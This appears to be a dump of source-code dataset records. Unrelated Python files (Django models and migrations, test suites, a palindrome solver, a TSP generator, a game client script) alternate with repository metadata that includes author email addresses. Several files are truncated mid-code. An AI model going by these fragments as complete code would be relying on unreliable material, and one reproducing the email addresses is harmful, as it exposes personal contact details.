from app import db class WorkOpenAPC(db.Model): __table_args__ = {'schema': 'mid'} __tablename__ = "work_openapc" paper_id = db.Column(db.BigInteger, db.ForeignKey("mid.work.paper_id"), primary_key=True) doi = db.Column(db.Text) year = db.Column(db.Integer) apc_in_euro = db.Column(db.Integer)...
[ "caseym@gmail.com" ]
caseym@gmail.com
c0b091b45749ecb4fa561c1c80c6eeb4849758cc
25970b0796082ed43e7662834b613e651fdcf648
/0427/either/issue/admin.py
4c6e0259aad1d6608e345557e506b80ed5055c68
[]
no_license
ttppggnnss/django_practice
41668c6a5debced09ad999b68fc2ce2a84c4ef55
737e9a706688853bcfc21162ec815c103ca8e5eb
refs/heads/master
2022-12-14T13:23:10.805575
2020-09-07T05:52:41
2020-09-07T05:52:41
293,249,461
0
0
null
null
null
null
UTF-8
Python
false
false
352
py
from django.contrib import admin from .models import Issue, Reply # Register your models here. class IssueAdmin(admin.ModelAdmin): list_display = ('nameA', 'nameB', 'hitcountA', 'hitcountB') class ReplyAdmin(admin.ModelAdmin): list_display = ('pick', 'comment', ) admin.site.register(Issue, IssueAdmin) admin....
[ "kimsae123@naver.com" ]
kimsae123@naver.com
90c3b2c3bee3c39ce01648f04b0fa9b8851d6d0e
244ecfc2017a48c70b74556be8c188e7a4815848
/res/scripts/client/notification/notificationlistview.py
be7ae81986417f7c5755017f75ba185fd0c3c8bd
[]
no_license
webiumsk/WOT-0.9.12
c1e1259411ba1e6c7b02cd6408b731419d3174e5
5be5fd9186f335e7bae88c9761c378ff5fbf5351
refs/heads/master
2021-01-10T01:38:36.523788
2015-11-18T11:33:37
2015-11-18T11:33:37
46,414,438
1
0
null
null
null
null
WINDOWS-1250
Python
false
false
3,032
py
# 2015.11.18 11:58:11 Střední Evropa (běžný čas) # Embedded file name: scripts/client/notification/NotificationListView.py from debug_utils import LOG_ERROR from gui.Scaleform.daapi.view.meta.NotificationsListMeta import NotificationsListMeta from messenger.formatters import TimeFormatter from notification.Notification...
[ "info@webium.sk" ]
info@webium.sk
6b5bf4b3fed8b652d998a7f69d2b10152094f015
9de053b81f142f9e5cc596472653a5ffc44ec568
/2019Nov/adhoc2/next_palindrome_submission1.py
040fc294e2d866c11401bea6a5a248aa590f6844
[ "Apache-2.0" ]
permissive
MrCsabaToth/IK
bbbd7c7b95a1eae7ad93e46abc96d145d14579af
d0b5235e1f2307c33ffa3d8c3335fdd25f27df8b
refs/heads/master
2022-10-14T05:38:34.052119
2022-09-15T23:41:42
2022-09-15T23:41:42
222,153,073
0
0
null
null
null
null
UTF-8
Python
false
false
1,732
py
# Complete the function below. def next_palindrome(n): digits = [] while n: digits.insert(0, n % 10) n = n // 10 if not digits: digits = [0] # Search for the first differring digit from the half back to the start l = len(digits) half = (l - 1) // 2 i = half inc...
[ "csaba.toth.us@gmail.com" ]
csaba.toth.us@gmail.com
ed515663632c63dddbce21f62f48792795d0f6e2
3dcc44bf8acd3c6484b57578d8c5595d8119648d
/graft_pdb.py
c6019a158b94f71f176cc45ed3072b2e46631b05
[]
no_license
rhiju/rhiju_python
f0cab4dfd4dd75b72570db057a48e3d65e1d92c6
eeab0750fb50a3078a698d190615ad6684dc2411
refs/heads/master
2022-10-29T01:59:51.848906
2022-10-04T21:28:41
2022-10-04T21:28:41
8,864,938
0
3
null
null
null
null
UTF-8
Python
false
false
1,847
py
#!/usr/bin/python from read_pdb import read_pdb from sys import argv from parse_options import parse_options # Note, this assumes that the pdb's are already aligned! graft_res = parse_options( argv, "graft_res", [-1] ) main_pdb = argv[1] scratch_pdb = argv[2] [ coords_main, lines_main, sequence_main ] = read_pdb( ...
[ "rhiju@stanford.edu" ]
rhiju@stanford.edu
1e8c343d17fabbbbc77a49777033205b11cd052d
881041fab1b4d05f1c5371efed2f9276037eb609
/tasks/math-test-results-2006-2012-school-swd/depositor.py
b24a704d3eaa853f659a666415e43eb8d14252b0
[]
no_license
ResidentMario/urban-physiology-nyc-catalog
b568f3b6ee1a887a50c4df23c488f50c92e30625
cefbc799f898f6cdf24d0a0ef6c9cd13c76fb05c
refs/heads/master
2021-01-02T22:43:09.073952
2017-08-06T18:27:22
2017-08-06T18:27:22
99,377,500
0
0
null
null
null
null
UTF-8
Python
false
false
386
py
import requests r = requests.get("https://data.cityofnewyork.us/api/views/i99z-ad8n/rows.csv?accessType=DOWNLOAD") with open("/home/alex/Desktop/urban-physiology-nyc-catalog/catalog/math-test-results-2006-2012-school-swd/data.csv", "wb") as f: f.write(r.content) outputs = ["/home/alex/Desktop/urban-physiology-nyc-...
[ "aleksey.bilogur@gmail.com" ]
aleksey.bilogur@gmail.com
f18a209ac67b11f466cf13d30a2897c9097a38e4
bbab3c62b28936f634bfd238d35b614f5b8fb050
/config/wsgi.py
ba7979aa8cc504fc6b4e6c5d57a0ab841f52f2bd
[ "BSD-3-Clause" ]
permissive
p-v-o-s/hydro
ba2547bc4f369c4c37cafca63657d55960fef62d
34eaf227043c69b921650aa120516533d61c6854
refs/heads/master
2021-01-10T06:01:53.640636
2016-02-25T01:48:05
2016-02-25T01:48:05
52,483,062
0
0
null
null
null
null
UTF-8
Python
false
false
1,618
py
""" WSGI config for Hydro project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` se...
[ "donblair@gmail.com" ]
donblair@gmail.com
7c3965d73a7c4adfb3387f984b28fd06eeed4777
90fb55320c81259cb199b9a8900e11b2ba63da4f
/150/test_jsonify.py
3ffde90d2cd9db6d1c1e48c6fd35b77b997346fd
[]
no_license
pogross/bitesofpy
f9bd8ada790d56952026a938b1a34c20562fdd38
801f878f997544382e0d8650fa6b6b1b09fa5b81
refs/heads/master
2020-05-19T07:31:44.556896
2020-01-26T12:48:28
2020-01-26T12:48:28
184,899,394
1
1
null
null
null
null
UTF-8
Python
false
false
2,081
py
import json import pytest from jsonify import convert_to_json @pytest.fixture(scope="module") def output(): return convert_to_json() def test_type_output_is_json_str(output): assert type(output) == str assert len(output) == 938 def test_extracted_data_is_correct(output): data = json.loads(output...
[ "p.gross@tu-bs.de" ]
p.gross@tu-bs.de
32f7dd1d7b51ec2d0210283a9dc7a3bb609cf0e8
155cbccc3ef3b8cba80629f2a26d7e76968a639c
/thelma/stringconv.py
1ad3eb3bb10f889ec33bb8af437cb6a5ca90f91c
[ "MIT" ]
permissive
papagr/TheLMA
1fc65f0a7d3a4b7f9bb2d201259efe5568c2bf78
d2dc7a478ee5d24ccf3cc680888e712d482321d0
refs/heads/master
2022-12-24T20:05:28.229303
2020-09-26T13:57:48
2020-09-26T13:57:48
279,159,864
1
0
MIT
2020-07-12T22:40:36
2020-07-12T22:40:35
null
UTF-8
Python
false
false
810
py
""" This file is part of the TheLMA (THe Laboratory Management Application) project. See LICENSE.txt for licensing, CONTRIBUTORS.txt for contributor information. String conversion utilities. """ import string # pylint: disable=W0402 __docformat__ = 'reStructuredText en' __all__ = ['reverse_dna_sequence'] def reve...
[ "fogathmann@gmail.com" ]
fogathmann@gmail.com
14bd94859be6dc333059ce913586a5db38294c43
d80985ad17b38d63a41f728cd7c90ac22dfae254
/Advanced Python Objects and Data Structures/Advanced Dictionaries/addict.py
c0df572233b7928bcbe3678d5de6e98d5aa70a20
[]
no_license
JitenKumar/PythonPracticeStepByStep
ebd313ddc59217a03b69efd67584e003ded35036
6b30c7d2ea9c6269ba6144d396e13539374fafd3
refs/heads/master
2021-04-09T16:14:32.177132
2018-04-01T20:12:08
2018-04-01T20:12:08
125,598,971
0
0
null
null
null
null
UTF-8
Python
false
false
244
py
# Dictionaries comprehensions print({a:a**4 for a in range(10)}) d = {a:a*3 for a in range(4)} for k in d.values(): print(k) for k in d.items(): print(k) for k in d.keys(): print(k) # viewing key and values print(d.keys())
[ "jitenderpalsra@gmail.com" ]
jitenderpalsra@gmail.com
c40ddd9b1101401cca49169c0579f28d0b534e51
da19363deecd93a73246aaea877ee6607daa6897
/xlsxwriter/test/xmlwriter/test_xmlwriter.py
6a2931d92ab9fb90c0e597db71d5720c89c9389e
[]
no_license
UNPSJB/FarmaciaCrisol
119d2d22417c503d906409a47b9d5abfca1fc119
b2b1223c067a8f8f19019237cbf0e36a27a118a6
refs/heads/master
2021-01-15T22:29:11.943996
2016-02-05T14:30:28
2016-02-05T14:30:28
22,967,417
0
0
null
null
null
null
UTF-8
Python
false
false
5,164
py
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2015, John McNamara, jmcnamara@cpan.org # import unittest from ...compatibility import StringIO from ...xmlwriter import XMLwriter class TestXMLwriter(unittest.TestCase): ...
[ "lealuque.tw@gmail.com" ]
lealuque.tw@gmail.com
1be3a72153991696fa394036724ae4bee487d226
a3f3c625af98882a7f1775de1e6187f1ead4e32b
/tests/ga/bit_string/crossover_tests.py
26904ba7b5f5845feb3d67d7fb942d0f960c9005
[ "MIT" ]
permissive
StanJBrown/playground
e0846986af5939be77ee561794b5bd0c94a37c28
f372c3c547d0ad34f9bdffaa2b2e93d089a3f5a4
refs/heads/master
2020-07-01T11:45:45.410104
2014-12-12T19:19:39
2014-12-12T19:19:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,216
py
#!/usr/bin/env python2 import sys import os import random import unittest sys.path.append(os.path.join(os.path.dirname(__file__), "../../../")) from playground.ga.bit_string.generator import BitStringGenerator from playground.ga.bit_string.crossover import BitStringCrossover class BitStringCrossoverTests(unittest.Te...
[ "chutsu@gmail.com" ]
chutsu@gmail.com
9b30b0c808fbdfeae8cb4513a47e8a53a0a9dcca
dfb53581b4e6dbdc8e3789ea2678de1e1c4b5962
/Django/mydjango03/index/migrations/0007_book_publisher.py
7ca9a10eeabb3c3791545eac08f01a6782feaee0
[]
no_license
biabulinxi/Python-ML-DL
7eff6d6898d72f00575045c5aa2acac45b4b0b82
217d594a3c0cba1e52550f74d100cc5023fb415b
refs/heads/master
2020-06-01T09:13:17.314121
2019-06-08T03:59:36
2019-06-08T03:59:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
466
py
# Generated by Django 2.1.4 on 2019-02-22 03:00 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('index', '0006_wife'), ] operations = [ migrations.AddField( model_name='book', name...
[ "biabu1208@163.com" ]
biabu1208@163.com
b8a5376fa6a1058fb0fd4322666ad19c8b5238bb
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_1483488_1/Python/singleheart/c.py
eef4b5430b7cd0c284686078969ee085ec36d55c
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
426
py
#!/usr/bin/python # C. Recycled Numbers import sys import math f = sys.stdin T = int(f.readline()) for t in range(1, T+1): input = [int(i) for i in f.readline().split()] A = input[0] B = input[1] result = 0 for i in range(A, B + 1): a = str(i) l = [] for j in range(1, len(a)): n = int(a[j:]+a[:j]) ...
[ "eewestman@gmail.com" ]
eewestman@gmail.com
664115b0425aa27c71d12fadd2e00311949103ab
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03448/s012162924.py
6db46d438c2f6ab6e1f068c3b27a22c7faae63ef
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
274
py
a = int(input()) b = int(input()) c = int(input()) x = int(input()) res = 0 for i in range(a+1): aa = 500*i for j in range(b+1): bb = 100*j for k in range(c+1): cc = 50*k if aa+ bb+ cc ==x: res +=1 print(res)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
79eee5d0fce5dcf87b8099064560626fe5cb87f1
b6bcfd935f7876fc65416e7340fda1c9b0516fd7
/pyscf/grad/test/test_h2o.py
6e8addc0191d825e59b075cd757355246597cd65
[ "Apache-2.0" ]
permissive
lzypotato/pyscf
62f849b9a3ec8480c3da63a5822ea780608796b2
94c21e2e9745800c7efc7256de0d628fc60afc36
refs/heads/master
2020-09-06T22:45:04.191935
2019-06-18T06:04:48
2019-06-18T06:04:48
220,578,540
1
0
Apache-2.0
2019-11-09T02:13:16
2019-11-09T02:13:15
null
UTF-8
Python
false
false
5,343
py
#!/usr/bin/env python # Copyright 2014-2018 The PySCF Developers. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # U...
[ "warlocat@zju.edu.cn" ]
warlocat@zju.edu.cn
2b0cb930258893e946bdaeaccd3d004bb7b2ecb6
4655674e14595e28fba43c93a23a66c2165830c2
/run_strategy.py
218c0b87e9a56927bd60176c6620f4ac9bcf7308
[ "MIT" ]
permissive
namuan/crypto-rider
50e86aaff4f1a39c01f10e487ebdae30619bd2bf
f5b47ada60a7cef07e66609e2e92993619c6bfbe
refs/heads/master
2023-01-20T05:46:58.234758
2020-11-30T22:05:04
2020-11-30T22:05:04
295,971,240
1
0
null
null
null
null
UTF-8
Python
false
false
356
py
from app.strategies import MaCrossOverStrategy from app.config.service_locators import locator s = MaCrossOverStrategy(locator) s.last_event = { "exchange": "binance", "market": "BTC/USDT", "timestamp": 1605371820000, "open": 15975.86, "high": 15977.66, "low": 15962.11, "close": 15966.77, ...
[ "575441+namuan@users.noreply.github.com" ]
575441+namuan@users.noreply.github.com
1a1339131a221540fd758a4b9e09d7b7e37dcf02
4415f0a06536b66d4e7425b3995c4009516c180d
/World 2/Challenge057.py
c6f73b41e99d3b06115f3b625ed195dadf042172
[]
no_license
AndreisSirlene/Python-Exercises-Curso-em-Video-World-1-2-and-3
c73c2df958f5b83744af6288d26bb270aa30f8fd
62f59383eee9b8ab43ff78495cf30eb390638013
refs/heads/master
2023-03-30T11:34:12.672180
2021-03-24T23:34:17
2021-03-24T23:34:17
290,814,841
0
0
null
null
null
null
UTF-8
Python
false
false
440
py
'''The challenge is to ask the gender of a person (in this case I only used Male and Female) in case the user type another answer the program should keep running and ask for a valid answer''' gender = str(input('What is your gender? [F/M]: ')).upper().strip()[0] while gender not in 'MmFf': gender = str(input('Valu...
[ "andreissirlene@gmail.com" ]
andreissirlene@gmail.com
27f111c953c959a7a7130bc242350e528fe2a635
bc88960c49c6e454eaeb747942b582131684c13b
/captum/attr/_utils/typing.py
34b16cae80d974f774cf659e1171ee4db017b6f8
[ "BSD-3-Clause" ]
permissive
mturzanska/captum
5dadeaea84b9567553ad710e9970f124779a80d8
d2243fb132578e71f88dc4c10b0cc89218d99b3b
refs/heads/master
2020-12-26T10:33:11.444267
2020-01-31T02:16:32
2020-01-31T02:18:37
237,482,133
1
0
BSD-3-Clause
2020-01-31T17:34:05
2020-01-31T17:34:04
null
UTF-8
Python
false
false
171
py
#!/usr/bin/env python3 from typing import Tuple, TypeVar from torch import Tensor TensorOrTupleOfTensors = TypeVar("TensorOrTupleOfTensors", Tensor, Tuple[Tensor, ...])
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
e884b70fb8875cb5156cdd32a68ec81bf6f66c3a
887f2e664c6d92f17e784f57022333a2fb859d06
/analysis/movement/simulations/environment/corRandomWalk.py
c37a667315d4572c18afc2474959883eab4c4f49
[]
no_license
ctorney/dolphinUnion
1968e258c6045060b2c921bd723d0ef0daea0147
9d7212d172a8a48a36fc4870fcdb04d66130bb76
refs/heads/master
2021-01-19T04:40:57.286526
2017-08-17T20:44:58
2017-08-17T20:44:58
46,424,670
1
0
null
null
null
null
UTF-8
Python
false
false
647
py
import os import math from datetime import datetime from pymc import * from numpy import array, empty from numpy.random import randint, rand from pymc.Matplot import plot as mcplot import matplotlib import numpy as np import matplotlib.pyplot as plt __all__ = ['rho_m','mvector'] rho_m = Uniform('rho_m',lower=0, up...
[ "colin.j.torney@gmail.com" ]
colin.j.torney@gmail.com
6cb23354874ab12833703e281c29fc08f5149030
1d0de24db60e1c58c97fa4dfb74512bed27cc3cd
/test/TestSudoRule.py
14467319320884e3847d5bcdd5e0b27ee80dc1a3
[]
no_license
rsumner31/ansible-lint
b45a763dae0c1c259f440e743d1e580087b3ce17
d93270db32b49496239f0cb17ab91a4e18b84212
refs/heads/master
2021-01-25T13:58:41.059261
2018-03-08T14:29:07
2018-03-08T14:29:07
123,634,287
1
0
null
null
null
null
UTF-8
Python
false
false
2,010
py
import unittest from ansiblelint.rules.SudoRule import SudoRule import ansiblelint.utils class TestSudoRule(unittest.TestCase): simple_dict_yaml = { 'value1': '{foo}}', 'value2': 2, 'value3': ['foo', 'bar', '{baz}}'], 'value4': '{bar}', 'value5': '{{baz}', } def s...
[ "rsumner31@gmail.com" ]
rsumner31@gmail.com
fdf9724d91144de22b37ec8bab08482eded98593
97c2609a6bb0c8fa4d87b088e9839123873a368b
/Chapter03/nmf_newsgroups.py
294710014b1a3bcca57018bc7c08fdb843651f5f
[]
no_license
fenago/python-machine-learning-by-example
ebcd341932d27d812c0b98575842ed0fbb2f188a
8216ccc248027508da9df135b57c8f9f9e523316
refs/heads/master
2020-12-12T15:43:28.294734
2020-01-14T19:56:47
2020-01-14T19:56:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,475
py
# %% ''' Source codes for Python Machine Learning By Example 2nd Edition (Packt Publishing) Chapter 3: Mining the 20 Newsgroups Dataset with Clustering and Topic Modeling Algorithms Author: Yuxi (Hayden) Liu ''' # %% from sklearn.datasets import fetch_20newsgroups categories = [ 'alt.atheism', 'talk.religion....
[ "31277617+athertahir@users.noreply.github.com" ]
31277617+athertahir@users.noreply.github.com
4b9c3852748165236aefb0e401cd7d229bbf6973
f445450ac693b466ca20b42f1ac82071d32dd991
/generated_tempdir_2019_09_15_163300/generated_part001128.py
6b6f8d5419e3cf14f30bcb280200da32cd1cabc2
[]
no_license
Upabjojr/rubi_generated
76e43cbafe70b4e1516fb761cabd9e5257691374
cd35e9e51722b04fb159ada3d5811d62a423e429
refs/heads/master
2020-07-25T17:26:19.227918
2019-09-15T15:41:48
2019-09-15T15:41:48
208,357,412
4
1
null
null
null
null
UTF-8
Python
false
false
4,829
py
from sympy.abc import * from matchpy.matching.many_to_one import CommutativeMatcher from matchpy import * from matchpy.utils import VariableWithCount from collections import deque from multiset import Multiset from sympy.integrals.rubi.constraints import * from sympy.integrals.rubi.utility_function import * from sympy....
[ "franz.bonazzi@gmail.com" ]
franz.bonazzi@gmail.com
b8837011401b7d9aa789df32757b889706c39a40
3261ff6f0df713a2939bc6f3664e959f52728c47
/RL/problems/vrp/encode-attend-navigate/data_generator.py
e5ea5425de4eb3924bf914a288be6c4cbb3e188e
[ "Apache-2.0" ]
permissive
ChanaRoss/Thesis
0057c710e8ce3abd3edbf7c4a4ef6a986d702142
39ab83d52055d401a3bb71da25b3458ad9196ecd
refs/heads/master
2022-12-03T21:05:55.269387
2020-02-02T19:52:28
2020-02-02T19:52:28
145,448,655
0
0
Apache-2.0
2022-11-22T04:10:19
2018-08-20T17:20:11
Python
UTF-8
Python
false
false
4,401
py
#-*- coding: utf-8 -*- import numpy as np import matplotlib.pyplot as plt import math from sklearn.decomposition import PCA # Compute a sequence's reward def reward(tsp_sequence): tour = np.concatenate((tsp_sequence, np.expand_dims(tsp_sequence[0],0))) # sequence to tour (end=start) inter_city_distances = np....
[ "chanaby@gmail.com" ]
chanaby@gmail.com
269bf411144fa08de6cff481f916da7b035ecaf5
14d5b51a68377fca1066f2331c720ce279d608ba
/demium/turtle03.py
cd65d39b7f127f95b43caa56ddb4a7fbea6fb0f1
[]
no_license
pigmonchu/queesesodeprogramar201905
84c5853a53c3b24a37664ff17a746a74a4a03dcd
dcfc8775562c249822f75fdba1c72314be852425
refs/heads/master
2020-05-25T21:59:27.488549
2019-05-23T18:00:53
2019-05-23T18:00:53
188,008,711
1
0
null
null
null
null
UTF-8
Python
false
false
133
py
import turtle mitortuga = turtle.Turtle() for v in range(3): mitortuga.forward(100) mitortuga.left(120) print("sacabó")
[ "monterdi@gmail.com" ]
monterdi@gmail.com
9cbda643914139943c128f3298888852afbdef82
e60dd32858b162eb28e673ac9cfdb1b2a403c695
/fibonocci.first.py
dc7041daa7d965b3c40d91bb63972d292280f567
[]
no_license
Hemanthtm2/playing_python
8d3419a46d50b2801283aa020be89a8003d4ad31
cb896916c6d84c564f7036a4ed6a2a5481bf2fd6
refs/heads/master
2020-05-23T13:10:51.753218
2019-02-20T21:52:34
2019-02-20T21:52:34
186,767,575
0
0
null
null
null
null
UTF-8
Python
false
false
191
py
#!/usr/bin/python def fibonocci(N): result=[0] next_n=1 while next_n<=N: result.append(next_n) next_n=sum(result[-2:]) return result print(fibonocci(5))
[ "hemanthtm2@gmail.com" ]
hemanthtm2@gmail.com
2b3abc2bfaf6f4eaa531107c4be9afc2935e79de
09e57dd1374713f06b70d7b37a580130d9bbab0d
/data/p3BR/R1/benchmark/startCirq232.py
deffae8da6e2df684e025e062849c9587489444e
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
3,246
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 5/15/20 4:49 PM # @File : grover.py # qubit number=3 # total number=42 import cirq import cirq.google as cg from typing import Optional import sys from math import log2 import numpy as np #thatsNoCode from cirq.contrib.svg import SVGCircuit # Symbols for...
[ "wangjiyuan123@yeah.net" ]
wangjiyuan123@yeah.net
156d1d886c35c4d5e06431c611f6b9d4f7284e11
1259a9d69c65acdaaedd0c8c09f2489ec5825653
/meeting/meeting/meeting/doctype/meeting_attendee/test_meeting_attendee.py
16df189a1101bd9ac508d5a56ebd9ab02dacf983
[ "MIT" ]
permissive
uamsheikh/frappe_apps
bbc5f4b43331a8785bacc415ccb3c56de4dcefd7
724fccc17be72f9003177f50ef99f9683dcaa51e
refs/heads/master
2022-11-05T03:26:30.086564
2020-06-27T14:00:12
2020-06-27T14:00:12
275,549,139
0
0
null
null
null
null
UTF-8
Python
false
false
211
py
# -*- coding: utf-8 -*- # Copyright (c) 2020, Oza and Contributors # See license.txt from __future__ import unicode_literals # import frappe import unittest class TestMeetingAttendee(unittest.TestCase): pass
[ "frappe@ubuntu.vm" ]
frappe@ubuntu.vm
2c9213c4614ac86537b2ec5a039d54116d215e53
9331521b9000b23560939de083693b594a2b513e
/registro1.py
51ae0ab908a821abae368aae90b56a28b0cf53eb
[]
no_license
stefifm/Guia18
141f94f12b2046453ebcddf73ba07b9402b3609c
bdc73563f130c05daad4e01a5730ac9029d47cef
refs/heads/master
2022-12-12T23:18:20.340171
2020-09-10T03:21:55
2020-09-10T03:21:55
294,291,473
0
0
null
null
null
null
UTF-8
Python
false
false
740
py
#Definición del tipo registro Empleado class Empleado: pass e1 = Empleado() e1.legajo = 1 e1.nombre = "Stefania" e1.sueldo = 250 print("El empleado es:",e1.legajo,"-",e1.nombre,"-",e1.sueldo) e2 = Empleado() e2.legajo = 2 e2.nombre = "Juan" e2.sueldo = 350 print("El empleado es:",e2.legajo,"-",e2.nombre,"-",e...
[ "bruerastefania@gmail.com" ]
bruerastefania@gmail.com
358cbad9fc22d8f3993566b5d3d9102c2eab5e86
ef1bf421aca35681574c03014e0c2b92da1e7dca
/pyqode/core/backend/workers.py
5c37fb94e4aa220fd8fdeac6bafbbf491745362a
[ "MIT" ]
permissive
pyQode/pyqode.core
74e67f038455ea8cde2bbc5bd628652c35aff6eb
0ffabebe4f0397d53429024f6f44db3fe97b0828
refs/heads/master
2020-04-12T06:36:33.483459
2020-01-18T14:16:08
2020-01-18T14:16:08
7,739,074
24
25
MIT
2020-01-18T14:16:10
2013-01-21T19:46:41
Python
UTF-8
Python
false
false
8,151
py
# -*- coding: utf-8 -*- """ This module contains the worker functions/classes used on the server side. A worker is a function or a callable which receive one single argument (the decoded json object) and returns a tuple made up of a status (bool) and a response object (json serializable). A worker is always tightly c...
[ "colin.duquesnoy@gmail.com" ]
colin.duquesnoy@gmail.com
39b8cd68c9888b95f38c5e313bc8cf3feffb15f9
f828cb00f5f821b69c5e3548a857c12635d1b2ac
/users/migrations/0002_auto_20200905_0858.py
643a982b7bad3500815dbe7eee60d68d45079412
[]
no_license
crowdbotics-apps/web-5-sept-dev-9946
f2c8afe935daf78ea90d11f5ee62d7837e8b7e78
8ff1bc90ea4f09474ec577d32deeb5b966becfdb
refs/heads/master
2022-12-14T19:20:22.807063
2020-09-05T08:58:01
2020-09-05T08:58:01
293,008,522
0
0
null
null
null
null
UTF-8
Python
false
false
394
py
# Generated by Django 2.2.16 on 2020-09-05 08:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.AlterField( model_name='user', name='name', field=...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
93f79c5052ac8f644cb111e6f3f2d17553864cc5
aeeec9b63f46df4a3d1cab45456a2392b5ed37cf
/sale_variant_optional/__manifest__.py
fd19d4eead7d018782b6690bfec70ce8ea7c8558
[]
no_license
davidsetiyadi/addons_v10
c5d89a49784387cf38b65bb0898fce9f1e8da3be
1d714436c5a262ac53928dbb9f30783a6c1efef2
refs/heads/master
2020-03-11T18:23:30.351820
2018-09-09T01:29:22
2018-09-09T01:29:22
130,176,045
0
0
null
null
null
null
UTF-8
Python
false
false
731
py
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. { 'name': 'Sales Varian Optional', 'version': '1.3', 'author': 'Davidsetiyadi@gmail.com', 'category': 'Custom Development', 'summary': 'Sale Orders Custom', 'description': """ Sales Custom """...
[ "davidsetiadi11@gmail.com" ]
davidsetiadi11@gmail.com
8179e80d2393edfd0ad28dd067b73099cd6865bc
80d3388c07986fa833237c4fc4cfd1555e2a6660
/backend/src/posts/migrations/0009_auto_20201107_2044.py
573af936d86f7285dbcdbd52ed91d063525ae4c5
[]
no_license
Shoumik-Gandre/nitbits
85bf24fcd5dee3d5a78af47a614a5921ae54ce89
996178e2047c33cd18879b32f47c10a8f0f39878
refs/heads/master
2023-01-18T17:19:54.122537
2020-11-20T07:59:49
2020-11-20T07:59:49
298,579,193
1
1
null
null
null
null
UTF-8
Python
false
false
951
py
# Generated by Django 3.1.2 on 2020-11-07 15:14 from django.conf import settings from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('posts', '0008_auto_20201107_2019'), ] operations...
[ "shoumikgandre@gmail.com" ]
shoumikgandre@gmail.com
a73838ad362df6dfd8b2df0d0f6ba7496d2341ba
f3b233e5053e28fa95c549017bd75a30456eb50c
/p38a_input/L2I/2I-2G_wat_20Abox/set_1ns_equi_m.py
1e43cc8c3673d70daa9f40858cbc9de076ab36bb
[]
no_license
AnguseZhang/Input_TI
ddf2ed40ff1c0aa24eea3275b83d4d405b50b820
50ada0833890be9e261c967d00948f998313cb60
refs/heads/master
2021-05-25T15:02:38.858785
2020-02-18T16:57:04
2020-02-18T16:57:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
923
py
import os dir = '/mnt/scratch/songlin3/run/p38a/L2I/wat_20Abox/ti_one-step/2I_2G/' filesdir = dir + 'files/' temp_equiin = filesdir + 'temp_equi_m.in' temp_pbs = filesdir + 'temp_1ns_equi_m.pbs' lambd = [ 0.00922, 0.04794, 0.11505, 0.20634, 0.31608, 0.43738, 0.56262, 0.68392, 0.79366, 0.88495, 0.95206, 0.99078] for j...
[ "songlin3@msu.edu" ]
songlin3@msu.edu
3bdc76473f870b3b0aa63589fca205e6569e2e3d
450448e0ddb786fd13cfe9f6df5aa47573769fdc
/tripleaxisproject/gui/linedemo2.py
0809d1b861a925677ef6d34dd3465aacecfa40a8
[]
no_license
williamratcliff/tripleaxisproject
70bbd9ab5f7f1d2f30ced18b0887e51a1e3551e8
8649730ccc03e7d172ad41db776e2df9b463f3d6
refs/heads/master
2021-01-19T20:18:25.875294
2018-09-12T20:43:46
2018-09-12T20:43:46
32,125,247
2
0
null
null
null
null
UTF-8
Python
false
false
6,418
py
import numpy as N import pylab import scipy.sandbox.delaunay as D #import numpy.core.ma as ma import matplotlib.numerix.ma as ma from matplotlib.ticker import NullFormatter, MultipleLocator from scipy.signal.signaltools import convolve2d import scriptutil as SU import re import readicp from matplotlib.ticker import Fo...
[ "william.ratcliff@e28a235e-f944-0410-a937-4d0c1e564b32" ]
william.ratcliff@e28a235e-f944-0410-a937-4d0c1e564b32
9f4d154a9495308fb461f2b73ecb205d9c46ad3f
1b9075ffea7d4b846d42981b41be44238c371202
/2008/stable/applications/util/boxes/actions.py
e301e1015b50bb091a10f3b1c2124d488e51b409
[]
no_license
pars-linux/contrib
bf630d4be77f4e484b8c6c8b0698a5b34b3371f4
908210110796ef9461a1f9b080b6171fa022e56a
refs/heads/master
2020-05-26T20:35:58.697670
2011-07-11T11:16:38
2011-07-11T11:16:38
82,484,996
0
0
null
null
null
null
UTF-8
Python
false
false
429
py
